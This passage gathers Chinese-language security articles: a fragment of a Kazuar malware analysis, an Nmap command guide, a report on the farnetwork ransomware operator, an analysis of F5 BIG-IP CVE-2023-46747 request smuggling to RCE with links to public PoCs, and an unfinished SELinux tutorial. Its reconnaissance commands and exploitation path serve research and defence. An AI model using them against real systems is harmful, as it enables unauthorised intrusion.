Kazuar為XML生成密鑰名,Base64在將內容髮送到C2之前對其進行加密。 XML的內容包括:
結果文件的加密內容;
結果標識符;
偽隨機的4字節數,可能是另一種類型的標識符;
一個基於設備GUID偽隨機生成的值數組;
硬編碼GUID連接字符串169739e7-2112-9514-6a61-d300c0fef02d;
設備的唯一GUID。
使用命名管道進行通信除了與C2進行直接HTTP通信外,Kazuar還具有代理功能,可以向受攻擊網絡中的其他Kazuar代理接收和發送命令,它通過命名管道進行代理通信,根據設備的GUID生成它們的名稱。
Kazuar使用這些管道在不同的Kazuar實例之間建立點對點通信,將每個實例配置為服務器或客戶端。命名管道通信支持表3所示的遠程請求。

使用命名管道的Kazuar請求和響應
反分析檢查Kazuar使用了基於一系列詳細檢查的多種反分析技術,以確保它不被分析。開發者對Kazuar進行了編程,使其要么在安全的情況下繼續運行,要么在調試或分析時保持空閒狀態並停止所有C2通信。研究人員可以將這些檢查分為三大類
HireHackking

標題:如何使用Nmap加強網絡安全?

Nmap是Network Mapper(網絡映射器)的縮寫,是一個用於端口和IP掃描以及應用程序檢測的開源工具。網絡和系統管理員將其用於清點網絡資產、管理服務升級計劃和監視服務正常運行時間。
起初,它是作為一款Linux工具而開發的,但現在也可用於Windows和MacOS。用戶還可以在Solaris、AIX或Amiga OS等不太常見的系統上使用Nmap。源代碼以C、C++、Perl和Python等版本提供,可以定制該工具以適用於不同的環境。
管理員用Nmap進行滲透測試,檢查哪些設備在其網絡上運行,Nmap還使他們能夠查看哪些端口是敞開的,並發現潛在的漏洞。
Nmap有什麼用途?大致說來,Nmap允許用戶進行快速的網絡映射,可以幫助團隊優化並保護網絡和數據。它被用於滲透測試、道德黑客活動以及進行其他目的。它最近的一項用途是分析網站服務器和物聯網設備之間的流量。
Nmap由美國網絡安全專家Gordon Lyon開發,下面將逐一介紹Nmap工具的最重要功能:
網絡映射Nmap向用戶顯示哪些類型的設備連接到網絡並使用掃描端口。借助這個命令,用戶可以看到服務器、路由器、交換機及其他設備是如何連接的,他們還可以了解它們如何協同工作,並進一步設想網絡圖。
端口掃描用戶可以使用Nmap檢查哪些端口是敞開的,哪些端口是關閉的。這項功能對於IT團隊來說非常方便,因為他們可以用它來查看防火牆是否在正常工作,對於那些想要防範端口掃描攻擊的人來說,它也派得上用場。
漏洞掃描Nmap還有助於發現網絡容易受到特定威脅攻擊的程度。當發現一個影響特定軟件或軟件版本的新漏洞時,Nmap可以顯示是否有任何連接的機器使用該應用程序,然後IT團隊收到警告,可以通過及時修補系統來避免網絡攻擊。
採集操作系統指紋幫助IT團隊發現設備上運行的所有類型的操作系統。通過這個過程,他們還可以查明這台機器是什麼品牌(戴爾、宏碁或聯想等)。但更有意思的是,IT團隊還可以確定操作系統的補丁級別和端點的估計正常運行時間。
檢查影子ITNmap可以顯示連接到網絡的機器的類型和位置,這有助於管理員發現任何未經正式授權就連接到其網絡的設備(影子IT)。影子IT通常是隱藏的,即使這些機器不一定是惡意的,它們也可能是整個系統面臨的一個風險因素,危險在於設備不包括在網絡安全程序中,享受不到補丁管理策略的益處等。
服務發現與其他映射工具不同,Nmap有助於發現網絡中每個設備的角色。它顯示哪個設備是郵件或網站服務器、哪個是存儲設備、哪個是數據庫存儲庫等。此外,Nmap還顯示正在運行中的應用程序,甚至顯示使用中的應用程序版本。
如何在Linux中使用Nmap? Linux用戶可以使用來自Insecure.Org的二進制軟件包或者安裝發行版的源代碼。
•二進制軟件包通常是一種安裝起來更快速、更輕鬆的選擇。但是它們必須稍加定制,才能使用發行版的標準目錄路徑。此外,這些軟件包支持定期管理,以便對系統上的軟件進行升級、卸載或審計。然而,發行版創建的軟件包總是落後於Nmap.Org源版本,這顯然是一個缺點,即使大多數Linux發行版保持相當頻繁的更新節奏。
•使用源代碼安裝可以讓用戶更好地控制如何為其係統開發和定制Nmap,可以在官方Nmap頁面(https://nmap.org/book/inst-source.html)上找到更多的相關信息。
如何在Windows上運行Nmap?自2000年發布以來,Windows版本已成為使用Nmap的第二大流行平台。 Windows用戶可以在安裝Nmap的三種方法中進行選擇:
•Windows自安裝程序——這是最容易使用的選項,它是大多數用戶青睞的選擇。它還使用戶能夠安裝Zenmap GUI及其他工具。
•命令行Zip二進製文件——Nmap版本將Windows命令行二進製文件和關聯文件合併到Zip壓縮包中。另一方面,沒有圖形化界面,所以用戶必須打開DOS/命令窗口來運行exe文件。
•從源代碼編譯——對於那些願意幫助開發Nmap的人來說,從源代碼編譯是最好的選擇。為此,你需要Microsoft Visual C++ 2019。任何Visual Studio 2019版本都可以使用,包括免費的Visual Studio 2019社區版。
可以在這裡(https://nmap.org/download.html)找到這三種選擇的更多信息和安裝步驟。
如何在MacOS上運行Nmap?用戶可以使用面向Apple macOS (x86-64)平台的Nmap二進製文件,它作為含有安裝程序的磁盤映像文件而存在。安裝程序支持Nmap、Zenmap、Ncat和Ndiff,這些程序在Mac OS X 10.9和其他更新版本上進行了測試。
MacOS用戶也有安裝Nmap的更多選擇:
•可執行安裝程序——這是在Mac設備上安裝Nmap或Zenmap的最簡單方法。
•從源代碼編譯——這需要蘋果的開發工具Xcode。因為它不是默認安裝,所以必須從Mac應用程序商店免費下載。
•使用第三方軟件包——在MacOS上安裝Nmap的第三種選擇是使用一個打包Unix軟件的系統。 Nmap官方頁面推薦使用Fink或MacPorts。
與Windows一樣,在MacOS上運行Nmap的第一步是從這裡(https://nmap.org/download.html#macosx)下載。然後按照操作說明(https://nmap.org/book/inst-macosx.html),在MacOs上正確安裝和運行Nmap。
除Nmap之外的另外5款開源網絡掃描工具Nmap可能是最出名的網絡掃描工具,但它肯定不是唯一的。下面是另外一些主流的類似選擇:
•Metasploit框架Metasploit起初是一個開源滲透測試工具。它現在是一個商業網絡掃描工具,用於網絡漏洞檢測。
•SnortSnort是一個開源免費的網絡入侵檢測工具。它基於協議分析和內容檢查,可以檢測不同類型的網絡漏洞(比如蠕蟲),並且可以掃描端口。
•OpenSSH這個開源工具專門用於UNIX環境。 SSH是Secure Shell的縮寫,在不受信任的主機之間通過不安全的網絡鏈路建立安全的加密通信機制。它通過加密網絡流量來消除諸多網絡問題:竊聽不可信的連接和劫持兩台主機之間的連接。
•OpenVAS這是另一個免費的網絡安全掃描工具。它提供全面的網絡掃描、網站服務器和應用程序掃描,還提供WordPress掃描。
•Angry IP Scanner另外,開源工具Angry IP Scanner不僅提供IP地址掃描,還提供端口掃描。使用該工具可以訪問主機名、NetBIOS、MAC地址和工作組信息等信息。
系統管理員最常用的5個Nmap命令基本掃描•Ping掃描——使用nmap-sp192.168.1.1/24顯示連接到網絡的全部設備。
•掃描單個主機——使用nmap scanme.nmap.org掃描一個主機,以掃描1000個密集使用的端口,這些端口被SQL、SMTP、apache等服務使用。
版本掃描在進行滲透測試時,IT團隊需要找出正在使用的應用程序版本,然後,他們可以搜索通用漏洞披露(CVE)數據庫中的現有漏洞,以查找服務的某個版本,進而測試網絡對它的響應。
使用'-sV'命令進行版本掃描:nmap-sV scanme.nmap.org。
進攻性掃描' -A '參數允許操作系統檢測、版本檢測、腳本掃描和跟踪路由。雖然進攻性掃描提供了比常規掃描了更好的信息,但它們發出的探針(probe)更多。對於系統管理員來說,安全審計期間更容易檢測到它們。要執行進攻性掃描,請使用nmap -A scanme.nmap.org。
掃描多個主機多主機掃描可以幫助那些管理大型網絡基礎設施的人。有四種方法可以使用這個選項:
•在一行中輸入所有的IP地址,以便一次性掃描所有主機:nmap192.164.1.1 192.164.0.2 192.164.0.2。
•輸入星號(*)表示一次性掃描所有子網:nmap192.164.1.*。
•不要鍵入整個域名,使用逗號分隔地址結尾:nmap192.164.0.1,2,3,4。
•輸入連字符表示IP地址範圍:nmap192.164.0.0—255。
端口掃描由於端口掃描是Nmap的主要功能之一,所以有不止一種方法來使用它:
•使用'-p'參數進行單端口掃描:nmap-p973 192.164.0.1。
•如果指定端口類型,Nmap允許你掃描查找關於特定類型連接的數據:Nmap-p T:7777, 973 192.164.0.1。
•如果你想掃描整個範圍的端口,用連字符區分它們:nmap-p76—973 192.164.0.1。
•使用'-top-ports'標誌來指定要掃描的前n個端口:nmap-top-ports10 scanme.nmap.org。
HireHackking
Nokoyawa勒索軟件即服務(RaaS)的運營商是一夥被稱為“farnetwork”的威脅組織,多年來通過幫助JSWORM、Nefilim、Karma和Nemty等勒索軟件團伙開發惡意軟件和管理運營積累了經驗。
網絡安全公司Group-IB近日的一份報告深入剖析了farnetwork的活動,以及闡述他們是如何逐漸成為勒索軟件行當中異常活躍的玩家。
farnetwork向威脅情報分析師們披露了細節,這些細節可以將他們與2019年開始的多起勒索軟件活動和一個可以訪問多個企業網絡的殭屍網絡聯繫起來。
據Group-IB向IT安全外媒體出示的報告顯示,這夥威脅組織擁有多個用戶名(比如farnetworkl、jingo、jsworm、razvrat、piparkuka和farnetworkitand),並活躍於多個俄語黑客論壇,試圖招募加盟團伙從事各種勒索軟件活動。

圖1. 威脅分子情況簡介(圖片來源:Group-IB)
今年3月,farnetwork開始為其基於Nokoyawa加密惡意軟件的勒索軟件即服務項目尋找加盟團伙。然而,Group-IB的威脅情報分析師表示,這夥威脅組織明確表示,他們沒有參與開發Nokoyawa的工作。
開展RaaS業務並沒有持續多久,farnetwork宣布將退出該領域,並在10月份關閉了Nokoyawa RaaS項目,此前該項目洩露了35名受害者的數據。

圖2. Nokoyawa公佈受害者(圖片來源:Group-B)
然而Group-IB認為,這夥威脅組織的策略是改變方向,以一個新的品牌重新開始,而這個舉動正是其中的一部分。
攻擊活動管理方在Nokoyawa勒索軟件中,farnetwork扮演了項目負責人、加盟團伙招聘者、暗網論壇上RaaS的推廣者和殭屍網絡管理方等多重角色。
該殭屍網絡使加盟團伙能夠直接訪問已經受到攻擊的網絡。為此,加盟團伙將向殭屍網絡的所有者支付所收取贖金的20%,而勒索軟件的所有者將獲得15%的分成。
考慮到其他項目支付高達85%的贖金作為分成,對勒索軟件加盟團伙來說,65%的分成是糟糕的交易,但成本已涵蓋了找到一個合適的目標並闖入其中所耗費的精力。
farnetwork測試加盟團伙候選對象的辦法是,向它們提供從地下日誌雲(UCL)服務獲得的幾個公司賬戶憑據,UCL服務出售由RedLine、Vidar和Raccoon等信息竊取惡意軟件竊取的日誌。
預計這些加盟團伙會升級其在網絡上的權限,竊取文件,運行加密程序,並要求支付贖金。

圖3. 網絡訪問憑據面板(圖片來源:Group-IB)
以往活動時間表Group-IB已經能夠追踪到farnetwork早在2019年1月的活動,發現了它與JSWORM、Nemty、Nefilim和Karma等勒索軟件團伙有關聯。
2019年4月,farnetwork在Exploit黑客論壇上大肆推廣JSWORM RaaS項目,這夥威脅組織對RazvRAT惡意軟件大打廣告。

圖4. 推銷RazvRAT惡意軟件(圖片來源:Group-IB)
2019年8月,在JSWORM關閉後,這夥威脅組織轉而在至少兩個地下論壇上推廣Nemty。
2020年3月,Nefilim勒索軟件浮出水面,這時它作為一個新的加盟項目示人,擁有名為Corporate Leaks的數據洩露網站。次月,farnetwork宣布Nemty將私有化。

圖5. Nefilim公佈受害者名單(圖片來源:Group-B)
2021年6月,改頭換面的Nefilim(名叫Karma)出現在世人面前,2021年7月Nefilim又悄無聲息。在此期間,farnetwork在尋找有關思傑VPN零日漏洞的信息。
2023年2月,farnetwork轉向RAMP論壇,聲稱他們與Nokoyawa勒索軟件合作,充當對方的招聘者和訪問管理方。

圖6. 在RAMP上推廣RaaS(圖片來源:Group-IB)
從Group-IB的研究結果來看,farnetwork被懷疑參與了開發上述幾種勒索軟件的工作,或至少參與了這幾種勒索軟件的改進和管理。它與Nefilim和Karma的關係最緊密,它們都被認為是Nemty的進化版。

圖7. farnetwork活動時間表(Group-IB)
Group-IB將不同的用戶名與這同一夥威脅組織聯繫了起來,他們換個新名字,繼續重操舊業。
建議雖然勒索軟件團伙以攻擊關鍵行業的公司而臭名昭著,但它們對所有行業的組織都構成了威脅。除了其網絡增加新成員外,farnetwork的勒索軟件聯盟計劃還為成員提供了經過升級的工具和技術,甚至提供勒索軟件投放機制。企業必須立即採取具體的步驟,以確保關鍵任務操作和數據的安全。我們的建議如下:
•增加更多層安全:多因素身份驗證(MFA)和基於憑據的訪問解決方案可以幫助企業保護其關鍵資產和高風險用戶,使攻擊者更難得逞。
•通過早期檢測阻止勒索軟件:充分利用端點檢測和響應(EDR)解決方案的行為檢測功能,幫助識別跨管理端點上的勒索軟件指標,及時提醒團隊注意任何可疑活動,以便進一步審查。這種主動的方法有助於對端點上已知和未知的威脅進行靈活地檢測、調查和補救。
•有“備份”策略:數據備份過程應該定期進行,因為它們可以減少破壞,並幫助組織在遭到勒索軟件攻擊後避免數據丟失。
•利用先進的惡意軟件引爆解決方案:組織應該充分利用結合人工智能的先進的基於分析的解決方案來實時檢測入侵。
•修補漏洞:漏洞未修補的時間越長,被網絡犯罪分子利用的風險就越大,因此,應該優先考慮安全補丁。組織還應該建立一個流程,定期審查和部署最新的補丁。
•培訓員工:教育員工,了解與組織的網絡、資產、設備和基礎設施相關的風險。人為因素仍然是網絡安全的最大漏洞之一。組織應開展培訓計劃和安全演習,以幫助員工識別和報告網絡犯罪的跡象(比如網絡釣魚電子郵件)。
•控制漏洞:不要對新出現的漏洞視而不見。每年進行一次技術審計或安全評估,以檢查你的基礎設施,這不僅是好習慣,還增加了亟需的保護層,持續監測基礎設施的完整性和數字衛生流程。
•永遠不要支付贖金:在97%的勒索軟件攻擊中,如果不解密軟件,就不可能重新獲得數據訪問權。 Group-IB的事件響應專家不建議急於支付贖金。
以牟利為動機的威脅組織會讓你支付更多錢。即使一個攻擊者返還了你的數據,另一個攻擊者也會明白你願意支付贖金,這將導致對公司的攻擊次數增加,此時你能做的最正確的事情就是盡快聯繫事件響應專家。
HireHackking
0x01 前言F5 BIG-IP廣域流量管理器是一種網絡流量管理設備,用於提升鏈路性能與可用性。 F5在金融行業具有特別廣泛的使用量,做過各大銀行攻防演練的小伙伴對這個系統應該不會陌生。
最近爆出的CVE-2023-46747漏洞能達到遠程RCE的效果,屬於嚴重級別的安全漏洞。有意思的是這個漏洞和“AJP請求走私”有關。本文將對請求走私漏洞和CVE-2023-46747做一個詳細介紹和分析。
0x02 AJP請求走私介紹較早出現的AJP請求走私漏洞是CVE-2022-26377,關於該漏洞的詳細信息已經有作者進行過分析,感興趣的讀者可以查看原文https://www.ctfiot.com/44809.html,這裡我們關注的是AJP請求走私漏洞的危害。
AJP請求走私漏洞影響Apache Httpd 2.4.54,注意這裡直接受影響的並不是tomcat,所以並不是所有的java網站都受請求走私漏洞的影響,而是只有啟用了httpd服務的網站才受此漏洞影響,類似於現在前後端分離中nginx服務的作用。在F5 BIG-IP中啟動的WEB服務的架構如圖2.1所示,並且在F5-BIG-IP中的httpd版本2.2.15,受CVE-2022-26377漏洞影響。

圖2.1 F5 BIG-IP中的WEB服務架構

圖2.2 F5 BIG-IP中的httpd版本
AJP請求走私漏洞並不是一個高危漏洞,在各個CVSS評分在6.5-7.5之間,所以一直沒有受到我的關注,只是覺得這是一個僅供研究沒有實際意義的理論漏洞。在這次F5 BIG-IP的RCE漏洞爆出之後,我才重新對這個漏洞進行研究。關於此漏洞的詳細理論可以參考上面的文章,這裡主要總結下面的幾個關鍵點:
1) 瀏覽器並不能直接發送AJP協議的數據包,需要依賴於Apache的proxy_ajp 模塊進行反向代理,暴露成HTTP 協議給客戶端訪問。
2) AJP協議對於POST類型的HTTP請求會分成header 和body 兩個數據包發送,由於處理body數據時,其中前面四位固定格式與Forward Request 數據包完全一樣,導致本來應該是一個數據包body部分的數據,可能在進行AJP轉發時被識別為另一個數據包。這也是AJP請求走私的本質原理和危害,如圖2.3所示。
3) AJP請求走私時需要使用Transfer-Encoding: a, chunked 進行分塊傳輸。

圖2.3 AJP請求走私流程
從圖2.3可以看出,整個AJP請求走私的流程是可以把一個HTTP請求經過AJP代理轉化之後轉化為兩個AJP請求,這也是請求走私名字的來源。
0x03 CVE-2023-46747漏洞分析經過0x02的分析已經對AJP請求走私有了初步的了解,但是實際上還是很難看出這樣的漏洞能導致RCE效果。
從官方對這個漏洞的描述中可以看出,此漏洞僅影響開放了TNUI接口的系統(F5 BIG-IP默認啟用),這是因為在/config/httpd/conf.d/proxy_ajp.conf文件中定義了AJP代理的配置,其中只會對tmui相關接口進行代理,如圖3.1所示。

圖3.1 TMUI接口中的AJP代理配置
如圖2.1所示,httpd服務監聽的IP是0.0.0.0,所以是可以被外網用戶直接訪問到的,httpd提供反向代理的功能,把請求轉發到tomcat java監聽的80端口。最初看到這個漏洞的時候,我一直在java代碼中尋找鑑權的邏輯,以圖找到通過AJP請求走私繞過鑑權的方式,但是找了很久都沒有找到,甚至我在F5的JAVA代碼中沒有找到任何的Filter。後來在翻閱F5的歷史漏洞分析文章中才看到原來F5的鑑權並不在JAVA代碼中,而是在httpd模塊中。
F5實現了自己的pam進行認證,模塊路徑為/usr/lib/httpd/modules/,其中,涉及到login.jsp授權的是mod_f5_auth_cookie.so文件。反彙編之後,大概是這樣的。我們能夠請求/tmui/login.jsp而不需要進行身份驗證。

圖3.2 訪問/tmui/login.jsp不需要授權
如果直接訪問其他jsp文件,在沒有通過身份驗證的情況下,會被重定向到/tmui/login.jsp

圖3.3訪問其它頁面需要授權
這也就說明在CVE-2023-46747漏洞的POC利用腳本中通過訪問/tmui/login.jsp(這個頁面是不需要授權,又可以進行AJP請求轉化的頁面),在body中添加AJP請求走私的內容,就可以達到繞過鑑權的效果。
poc地址:
https://www.ddpoc.com/poc/DVB-2023-5391.html
在使用的時候注意,部分BurpSuite會去掉Transfer-Encoding頭,自動從分塊傳輸轉化為普通傳輸導致檢測失敗,所以在使用的過程中盡量不要使用Burp代理,如果非要抓包可以使用Charles,如圖3.4所示。

圖3.4 使用Burp代碼導致檢測失敗
去掉Burp代理之後,在Charles中可以看到正常的Chunked請求體和請求頭,並且運行成功之後可以執行命令,如圖3.5所示。

圖3.5 通過POC可以正常繞過權限添加用戶並執行命令
關於繞過權限之後F5 BIG-IP執行命令的邏輯在F5歷史漏洞CVE-2022-1388中已經使用過,其實F5 BIG-IP本身就提供了接口/mgmt/tm/util/bash為後台用戶執行系統命令的,有興趣的讀者也可以看https://mp.weixin.qq.com/s/wUoBy7ZiqJL2CUOMC-8Wdg了解詳細的創建用戶和後台命令執行的邏輯。
0x4 結論CVE-2023-46747算是請求走私漏洞的典型應用場景,把一個中低危的漏洞放在特定的場景中放大危害造成RCE效果,整個利用過程就像是為AJP請求走私量身定制一樣。
首先,F5 BIG-IP使用httpd來轉發前端用戶請求,並且對特定接口/tmui/*開啟AJP請求轉發功能。
其次,F5 BIG-IP的用戶鑑權邏輯在httpd的so文件中實現,而不是在java代碼中是實現。甚至在後端的java代碼中沒有任何鑑權邏輯,導致只要請求轉發到後端java代碼則可以訪問到。通過AJP請求走私可以把一個隱私的添加用戶的請求隱藏在未授權接口/tmui/login.jsp請求中,導致繞過了F5鑑權的邏輯把添加用戶的請求轉發到後端java代碼。
最後,添加的用戶在後台可以直接命令執行導致RCE效果。
參考:https://mp.weixin.qq.com/s/wUoBy7ZiqJL2CUOMC-8Wdg
https://github.com/W01fh4cker/CVE-2023-46747-RCE
https://www.ctfiot.com/44809.html
https://blog.csdn.net/weixin_39541693/article/details/111112257
HireHackking

標題:如何使用SELinux 保護和管理文件訪問

監控和限制對潛在惡意文件的訪問可以使您的產品免遭黑客攻擊、數據洩露和破壞。為了在基於Linux的環境中做到這一點,開發人員通常必須進行內核級修改,這實現起來很複雜,並且對系統來說存在風險。
在本文中,我們探討了內核級修改的替代方案:安全增強型Linux (SELinux) 中的自定義策略和沙箱。我們研究如何使用它們進行事件記錄和監視、限製文件訪問以及控制自定義沙箱內的系統調用。
為什麼要限制Linux 環境中的文件訪問?在創建軟件解決方案時(無論是簡單的驅動程序還是複雜的網絡安全系統),保護您的產品免遭未經授權的訪問非常重要。對於開發基於Linux 的產品的團隊來說,監視和管理數據和文件訪問的常見原因包括:

有幾種傳統方法可以做到這一點:創建Linux 內核模塊來掛鉤文件操作、設置掛鉤來監視和控制進程等。傳統的限制訪問方法通常需要高級技術專業知識,並且會給開發過程帶來額外的複雜性。它們還可能向您的環境添加嚴重錯誤,因為它們通常需要內核級更改。這就是為什麼只有當您需要對文件的訪問權限進行細緻的控制時,此類方法才有用。
當您只需要監視、允許或拒絕訪問而不需要任何其他更改時,最好使用SELinux。該系統集成到Linux 內核中,為開發人員提供強制訪問控制的方法。 SELinux 為Linux 環境中的元素設置上下文並通過策略對其進行管理。 SELinux 提供了一個強大的沙箱,允許您在有限的環境中執行進程。此環境利用SELinux 策略來定義沙箱中運行的進程的約束和權限。使用此類策略可以讓開發人員有效地增強其應用程序的安全狀況。
使用SELinux 管理文件訪問有幾個優點:
马云惹不起马云 簡單的政策管理。 SELinux 的策略文件是人類可讀的,因此無需學習特定語法來編寫策略。
马云惹不起马云精細的訪問控制。您可以在策略中指定任何訪問限制和權限。
马云惹不起马云可靠的文件隔離。為了控制對文件的訪問,SELinux 將其放入沙箱中,將文件與環境的其餘部分隔離。
马云惹不起马云簡化訪問管理。更改策略中的訪問權限比實施和進行內核級修改要容易得多。
在詳細探索如何使用SELinux 之前,請確保有一個適合創建SELinux 策略的環境。請注意,在本示例中,我們使用Fedora Workstation 和Red Hat Enterprise Linux 發行版。默認情況下,這些系統上啟用了SELinux,但最好在繼續我們的指南之前仔細檢查您的系統是否啟用了SELinux。
設置SELinux環境在將SELinux 策略應用於生產系統之前,請確保在測試或開發環境中執行此處描述的步驟。錯誤配置的策略可能會影響系統功能和安全性。
如果您的Linux 發行版不包含SELinux,您可以通過打開終端並以root 用戶身份執行以下命令來啟用它:
$sudodnfinstallselinux-policy-targeted安裝完成後,重新啟動系統。重新啟動後,SELinux 將啟用並在強制模式下運行。要確認其安裝成功,請打開終端並執行以下命令:
$sestatus
SELinuxstatus:enabled
SELinuxfsmount:/sys/fs/selinux
SELinuxrootdirectory:/etc/selinux
Loadedpolicyname:targeted
Currentmode:enforcingThislinedescribescurrentmode
Modefromconfigfile:enforcing
PolicyMLSstatus:enabled
Policydeny_unknownstatus:allowed
Memoryprotectionchecking:actual(secure)使用SELinux 對進程進行沙箱處理默認情況下,沙箱工具利用多類別安全(MCS) 模型來實施細粒度的訪問控制和進程隔離。該模型根據每個進程和文件的安全級別和類別為其分配唯一的安全標籤。
讓我們在沙箱中運行/bin/bash 進程,以限制它訪問敏感文件或執行某些命令。
要創建沙箱並在其中啟動/bin/bash,我們使用沙箱命令,如下所示:
$sandbox-Hsandbox_test/bin/bash沙箱工具應用SELinux 策略將進程限制在沙箱內。這些策略定義進程的訪問權限、系統調用限制和文件限制。策略確保進程只能訪問沙箱配置允許的資源並執行操作。在幕後,它們生成隨機MCS 編號並將其設置為我們進程的SELinux 安全上下文。策略還標記了我們的流程可用的相應文件。
例如,將SELinux 沙箱用於/bin/bash 進程,主目錄位於sandbox_test 中,將導致ls -lZ我們的目錄出現以下輸出:
$ls-lZ|grepsandbox_test
drwxr-xr-x.2useruserunconfined_u:object_r:sandbox_file_t:s0:c146,c31249May306:50sandbox_test在我們的例子中,隨機MCS 數是c146和c312。 /bin/bash 進程使用這些數字運行,根據沙箱源代碼它將獲取SELinux 安全上下文執行命令:
$ps-eZ|grepbash
unconfined_u:unconfined_r:sandbox_t:s0:c146,c312172662?00:00:00bash該策略有效地將我們的bash 進程限制在其主目錄中。但是,此解決方案僅適用於特定文件夾,並限制對具有隨機MCS 編號的特定文件的訪問。具有相同主文件夾的另一個沙盒bash 會與此衝突。為了克服這一限制,我們可以利用沙箱工具及其源代碼的知識來創建自定義SELinux 策略,限制對特定SELinux 類型的訪問。
在接下來的部分中,我們將探討兩種類型的SELinux 策略:
马云惹不起马云寬鬆的策略,不會阻止任何連接,僅監視和記錄安全事件,包括違規行為。當您需要測試、調試或研究文件時,寬鬆策略非常有用。
马云惹不起马云 一種強制策略,用於建立文件的訪問權限並限制任何禁止的活動。它對於建立訪問管理和保護您的解決方案非常有用。
讓我們從建立一個寬鬆的SELinux 策略示例開始。
制定寬鬆政策要為/bin/bash 這樣的簡單進程創建SELinux 策略,我們可以使用該sepolicy generate命令。讓我們運行以下命令,為/bin/bash 進程生成策略文件,並將其命名mybash:
$sudosepolicygenerate--application/bin/bash-nmybashmybash.te 文件包含我們策略的人類可讀的SELinux 規則。接下來,我們需要啟用從unconfined_t 域到自定義mybash_t 域的轉換。為此,我們將以下宏包含在mybash.te 文件中:
unconfined_run_to(mybash_t,mybash_exec_t)該宏允許在執行/bin/bash 進程時在域之間進行轉換,並使我們能夠通過setexeccon為特定進程設置自定義SELinux 域類型。
我們的策略文件現在如下所示:
policy_module(mybash,1.0.0)
########################################
#
#Declarations
#
attribute_rolemybash_roles;
roleattributesystem_rmybash_roles;
typemybash_t;
typemybash_exec_t;
application_domain(mybash_t,mybash_exec_t)
rolemybash_rolestypesmybash_t;
unconfined_run_to(mybash_t,mybash_exec_t)
permissivemybash_t;
########################################
#
#mybashlocalpolicy
#
allowmybash_tself:capability{chownsetgidsetuid};
allowmybash_tself:process{forksetpgidsetrlimitsignal_perms};
allowmybash_tself:fifo_filemanage_fifo_file_perms;
allowmybash_tself:unix_stream_socketcreate_stream_socket_perms;
domain_use_interactive_fds(mybash_t)
files_read_etc_files(mybash_t)
auth_use_nsswitch(mybash_t)
logging_send_syslog_msg(mybash_t)
miscfiles_read_localization(mybash_t)
sysnet_dns_name_resolve(mybash_t)要為/bin/bash 進程安裝此自定義策略並允許/bin/bash 進程在指定的SELinux 上下文下運行,讓我們執行自動生成的腳本:
$sudo./mybash.sh要直接從bash shell 設置進程上下文,我們可以使用一個簡單的代碼片段。讓我們創建一個新文件,將其命名為set_context.c,並向其中添加以下代碼:
#includeselinux/selinux.h
#includestdio.h
#includestdlib.h
#includeunistd.h
#includeerrno.h
intmain(void){
security_context_tcontext_old={0};
security_context_tcontext_new={0};
if(getcon(context_old)==-1){
printf('Failedtogetcontext');
return1;
}
printf('%s\n',context_old);
if(setexeccon((security_context_t)'unconfined_u:unconfined_r:mybash_t:s0')==-1){
printf('Failedtosetcontexterrno%d\n',errno);
return1;
}
execve('/bin/bash',NULL,NULL);
return0;
}現在我們將構建並運行此代碼:
$gcc-omybashset_context.c-lselinux
$./mybash
$此代碼檢索當前SELinux 上下文,將新上下文設置為unconfined_u:unconfined_r:mybash_t:s0,然後使用更新的上下文執行/bin/bash 進程。
現在我們對/bin/bash 進程有了一個寬鬆的策略,並且可以在指定的SELinux 上下文中執行它。讓我們打開另一個終端並檢查/var/log/audit/audit.log。在這裡我們可以看到bash啟動後請求了什麼樣的權限:
type=AVCmsg=audit(1683645539.705:301246):avc:denied{append}forpid=173167comm='bash'name='.bash_history'dev='dm-1'ino=1225470scontext=unconfined_u:unconfined_r:mybash_t:s0tcontext=unconfined_u:object_r:user_home_dir_t:s0tclass=filepermissive=1
type=SYSCALLmsg=audit(1683645539.705:301246):arch=c000003esyscall=257success=yesexit=3a0=ffffff9ca1=55bdf355c5f0a2=401a3=0items=0ppid=172599pid=173167auid=1000uid=1000gid=1000euid=1000suid=1000fsuid=1000egid=1000sgid=1000fsgid=1000tty=pts2ses=32comm='bash'exe='/usr/bin/bash'subj=unconfined_u:unconfined_r:mybash_t:s0key=(null)ARCH=x86_64SYSCALL=openatAUID='sboy'UID='sboy'GID='sboy'EUID='sboy'SUID='sboy'FSUID='sboy'EGID='sboy'SGID='sboy'FSGID='sboy'
type=AVCmsg=audit(1683645539.705:301247):avc:denied{setattr}forpid=173167comm='bash'name='.bash_history'dev='dm-1'ino=1225470scontext=unconfined_u:unconfined_r:mybash_t:s0tcontext=unconfined_u:object_r:user_home_dir_t:s0tclass=filepermissive=1
type=SYSCALLmsg=audit(1683645539.705:301247):arch=c000003esyscall=92success=yesexit=0a0=55bdf355c5f0a1=3e8a2=3e8a3=55bdf355c7a0items=0ppid=172599pid=173167auid=1000uid=1000gid=1000euid=1000suid=1000fsuid=1000egid=1000sgid=1000fsgid=1000tty=pts2ses=32 comm='bash'exe='/usr/bin/bash'subj=unconfined_u:unconfined_r:mybash_t:s0key=(null)ARCH=x86_64SYSCALL=chownAUID='sboy'UID='sboy'GID='sboy'EUID='sboy'SUID='sboy'FSUID='sboy'EGID='sboy'SGID='sboy'FSGID='sboy'請注意包含所請求權限類型和模式的拒絕字段permissive=1,這實際上意味著此SELinux 策略允許這些權限,並且只是在audit.log 中警告它們。
現在,讓我們在自定義bash 進程中執行ls 命令,看看不帶參數執行此命令需要什麼:
type=AVCmsg=audit(1683645670.511:301248):avc:denied{read}forpid=173244comm='ls'name='setcon'dev='dm-1'ino=1211972scontext=unconfined_u:unconfined_r:mybash_t:s0tcontext=unconfined_u:object_r:user_home_t:s0tclass=dirpermissive=1
type=SYSCALLmsg=audit(1683645670.511:301248):arch=c000003esyscall=257success=yesexit=3a0=ffffff9ca1=562f22c913d0a2=90800a3=0items=0ppid=173219pid=173244auid=1000uid=1000gid=1000euid=1000suid=1000fsuid=1000egid=1000sgid=1000fsgid=1000 tty=pts2ses=32comm='ls'exe='/usr/bin/ls'subj=unconfined_u:unconfined_r:mybash_t:s0key=(null)ARCH=x86_64SYSCALL=openatAUID='sboy'UID='sboy'GID='sboy'EUID='sboy'SUID='sboy'FSUID='sboy'EGID='sboy'SGID='sboy'FSGID='sboy'有了ls,我們可以繼續處理/bin/bash 進程並了解如何使用SELinux 強制執行訪問控制。
制定執行政策audit.log 文件中的SELinux 日誌描述了/bin/bash 進程執行的操作。我們將通過註釋掉“permissive”行並刪除任何其他自動生成的權限來禁用自定義策略中的permissive 模式。此後,該策略將生效,這意味著SELinux 將阻止所有不需要的訪問嘗試。
更新後的政策現在如下所示:
policy_module(mybash,1.0.0)
########################################
#
#Declarations
#
attribute_rolemybash_roles;
